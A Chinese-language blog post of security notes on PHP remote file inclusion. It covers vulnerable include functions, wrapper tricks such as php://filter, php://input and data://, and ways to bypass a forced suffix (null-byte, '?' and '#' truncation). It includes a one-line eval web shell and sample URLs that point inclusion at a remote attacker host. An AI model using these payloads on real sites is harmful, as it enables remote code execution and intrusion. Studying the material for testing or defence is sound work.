Patrilic's blog

RFI

Word count: 732 / Reading time: 3 min
2018/11/03 Share

远程文件包含(Remote File Include)

原理

函数

  • include()
  • include_once()
  • require()
  • require_once()

这些函数会将所有类型的文件(txt,jpg,……)都当做php来执行,但是如果这个文件已经被包含过了,则不会被再次包含,避免函数重定义或者变量重赋值。

其他可能造成文件包含的函数

highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

include() 如果出错的话,只会提出警告,会继续执行后续语句。

前提:

  1. allow_url_fopen = On
  2. allow_url_include = On
  3. 远程文件后缀名不能为 php

(如果文件为php,则现在远程服务端执行,包含回目标服务器只回显远程服务器执行后的信息)
(如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。)

1
2
3
4
5
6
7
/* phpinfo.php */
<?php

phpinfo(); // 测试回显
@eval($_POST[abc]);

?>

i4X44e.png

i4XhND.png

伪协议

php:// 访问各个输入/输出流;

  1. php://filter

解释:php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,

不需要开启allow_url_include

用法:?file=php://filter/convert.base64-encode/resource=index.php

i4XfAO.png

  1. php://input

php://input是用来接收post数据的;
用法:?file=php://input 数据利用POST传过去
allow_url_include=On
i4XI9H.png

  1. data:// 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

data://text/plain

用法:?file=data://text/plain;base64,

allow_url_fopen=0n
allow_url_include=On

  1. phar://
    用法:?file=phar://压缩包/内部文件
    注意:
    PHP>= 5.3
  1. zip, bzip ……

截断问题

可能存在的include代码

1
2
3
4
include($_GET['file']);


include($_GET['file'].’.php’);
  1. 使用%00截断
    php版本<=5.2时可以使用
    %00是终止符,程序运行到这里时会直接终止
  2. query
    使用?
    example: index.php?filename=http://remoteaddr/remoteinfo.txt?.php
    php将?解析为query,指定的后缀被当作query从而被绕过。
  3. fragment
    使用#
    example:index.php?filename=http://remoteaddr/remoteinfo.txt%23

    后面的地址被当做fragment被绕过

l3m0n: 文件包含漏洞小结
php文件包含漏洞-chybeta
浅谈文件包含漏洞
Include()
php伪协议
Blackhat议题解读 | phar反序列化

CATALOG
  1. 1. 远程文件包含(Remote File Include)
    1. 1.1. 原理
      1. 1.1.1. 函数
      2. 1.1.2. 前提:
    2. 1.2. 伪协议
    3. 1.3. 截断问题
  2. 2. 后面的地址被当做fragment被绕过
    1. 2.1. Links